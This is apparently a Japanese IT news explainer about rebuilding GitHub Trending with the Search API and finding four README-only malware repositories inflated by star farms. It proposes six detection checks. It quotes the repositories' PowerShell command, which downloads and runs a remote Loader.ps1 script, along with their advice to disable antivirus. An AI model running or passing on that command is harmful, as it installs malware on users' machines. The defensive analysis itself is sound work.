【ITニュース解説】GitHub Trending Has No API. I Rebuilt It — and It Caught 4 Malware Repos Made Entirely of README Files

GitHubの「Trending」ページは、いま人気のプロジェクトを見つけるのに役立つ機能だが、このページには公式なAPI（プログラムが安全にデータとやり取りするための窓口）が提供されていないという大きな課題がある。APIがないため、自動的にTrendingページの情報を取得しようとすると、ウェブページの内容を直接解析する「スクレイピング」という不安定な方法に頼るしかない。これにより、Trendingページが突然アクセス不能になったり、データ形式が変わって情報が取得できなくなったりするリスクがある。

筆者は実際に、ある日突然、GitHub Trendingから全く情報が取得できなくなるという事態に直面した。そこで、GitHubが公式に提供している「Search API」を利用して、Trendingページに代わるシステムを自力で構築することを試みた。Search APIは「作成日が新しいリポジトリ」や「スター数が多いリポジトリ」といった条件で検索できるため、Trendingに近い情報を得られると期待したのである。

しかし、Search APIをTrendingの代わりとして使うには、いくつかの「盲点」があることが判明した。

第一の盲点は、「絶対的なスター数」と「真のトレンド」は別物だという点である。Search APIでスター数が多い順に検索すると、確かに非常に有名な過去のプロジェクトが上位に表示される。しかし、これはすでに確立された人気リポジトリであり、今日になって急速に注目を集めている「トレンド」とは異なる。本当のトレンドとは、ある期間内におけるスター数の「増加速度」や「変化量」で測られるべきものであり、Search APIは単純な現在のスター数しか提供しないため、この変化を直接捉えることができない。

第二の盲点は、Search APIの検索条件では「最近作られたリポジトリ」しか見つけられない傾向があるという点である。例えば、「過去7日以内に作成されたリポジトリ」という条件で検索した場合、たとえ数年前に作られたリポジトリが今日になって急激にスター数を増やし、真にトレンド入りしたとしても、この検索条件では見つけ出すことができない。本当のトレンドを正確に追跡するためには、毎日リポジトリのスター数を記録し、その差分を計算するという、より複雑なデータ処理を自前で行う必要がある。

第三の盲点は、Search APIがリポジトリの「品質」に関する情報を提供しないという点である。Search APIはスター数などの数値でリポジトリをランク付けするが、そのリポジトリが実際にコードを含んでいるのか、それとも詐欺的な目的で作成されたものなのかを判断する手がかりを全く提供しない。そのため、スター数が多いというだけで、悪意のあるリポジトリが上位に表示されてしまう危険性がある。

筆者がこのSearch APIを使って「過去72時間以内に作成され、急速にスター数を伸ばしているリポジトリ」を調べてみたところ、この第三の盲点の問題が顕在化した。発見された複数のリポジトリは、わずか1つの「README.md」ファイルだけで構成され、実際のコードは一切含まれていなかったのである。これらのリポジトリのサイズは非常に小さく、フォーク（リポジトリをコピーして派生させること）も全くされていないにもかかわらず、多くのスターを獲得していた。

さらに不審なのは、これらのリポジトリの説明文が、人気のあるソフトウェア製品（AutoCAD、Microsoft Projectなど）を宣伝するような、いかにもAIが自動生成したような流暢な文章だったことである。しかし、リポジトリ自体はそれらの製品とは何の関係もない。また、リポジトリが作成された時間と最後に更新された時間（プッシュ）が、わずか数秒しか離れていなかった。これは、人間が手作業で作成したものではなく、自動化されたツールがテンプレートを使って短時間で大量に生成・公開した可能性が高いことを示唆している。

決定的なのは、これらの怪しいリポジトリのREADMEファイルが、すべて同じURL（https://ps-ps.cc/powershell/Loader.ps1）に誘導していた点である。そして、READMEには「powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex"」という、ユーザーのコンピューターでリモートのスクリプトをダウンロードして実行させる危険なコマンドが記載されていた。さらに、アンチウイルスソフトが警告を出したら「リアルタイム保護を一時停止するように」と促す記述や、検索エンジンに引っかかるためのキーワードを羅列した「Search Indexes & Organic Target Queries」というセクションまであった。これは、人間ではなく、検索エンジンや自動ツールによって発見されることを目的とした、悪意のあるプロジェクトであることの明確な証拠である。

これらのリポジトリのスター数の増え方も異常だった。あるリポジトリでは、わずか4秒の間に100個ものスターが一斉に付与されていたのである。これほどの短時間で大量のスターが付与され、かつフォークが全くないという状況は、通常の人間の行動とはかけ離れている。これは、いわゆる「スターファーム」と呼ばれる、APIを使って自動的にスターを付与するサービスによって、意図的にスター数を水増ししている証拠だと考えられる。つまり、これらのリポジトリは、悪意のあるソフトウェアを配布するために、GitHubのTrendingのような「発見の場」を悪用し、スター数を偽装して目立たせようとしていたのである。

このような悪意のあるリポジトリをシステムが検出できるようにするため、筆者はいくつかの「衛生チェック」ルールを導入した。これは、リポジトリが正規のものであるか、怪しいものでないかを判断するためのチェックリストのようなものである。具体的には、

1. コードファイルの有無: READMEファイルしかなく、実際のコードがほとんどないリポジトリを疑う。
2. フォークなしでの異常なスター数: フォークが全くないのにスター数が異常に多いリポジトリは、スター操作を疑う。
3. 短時間でのスターの急増: 短時間に大量のスターが集中して付与された場合、スターファームによる偽装を疑う。
4. READMEの内容: READMEファイルにリモートスクリプトの実行やアンチウイルスソフトの無効化を促す記述が含まれていないかを確認する。
5. 作成とプッシュの時間差: リポジトリの作成時間と最初の更新時間（プッシュ）が極端に短い場合、自動生成されたテンプレートの使用を疑う。
6. ペイロードドメインの共有: 複数のリポジトリが、同じダウンロードドメインを共有して短期間に作成されている場合、組織的な攻撃キャンペーンの一部である可能性を疑う。 これらのチェックルールを導入することで、前述の悪意のある4つのリポジトリをすべて検出して排除することに成功したという。特に、最後に挙げた「ペイロードドメインの共有」というルールは強力で、個々のリポジトリだけでは見抜けない悪意のあるキャンペーンを全体として検出できる。

筆者はGitHubに対し、このような問題を防ぐためにいくつかの改善を要望している。例えば、リポジトリの情報に「スターが付与された日時」を含めることで、短時間でのスター急増を簡単に検知できるようになる。また、安定した公式のTrending APIを提供し、そのランキング算出方法を公開すること、Search APIにリポジトリのトレンド度合いを示す情報を追加することなども要望している。

この経験から得られた最も重要な教訓は、GitHubのTrendingページであろうと、あなたが自作する情報集約システムであろうと、人気のあるものを表示する「発見の場」は、常に悪意のある行為者によって悪用される可能性があるということである。特にスター数のような指標は、簡単に偽装できてしまうため、それを基準にするだけでは危険が伴う。もしあなたがコミュニティに価値ある情報を提供するシステムを構築しようとするならば、このような「衛生チェック」のようなフィルタリング機能を組み込むことは、単に便利な機能ではなく、あなたのシステムが悪意あるコンテンツの配布チャネルにならないための「必須」の対策なのである。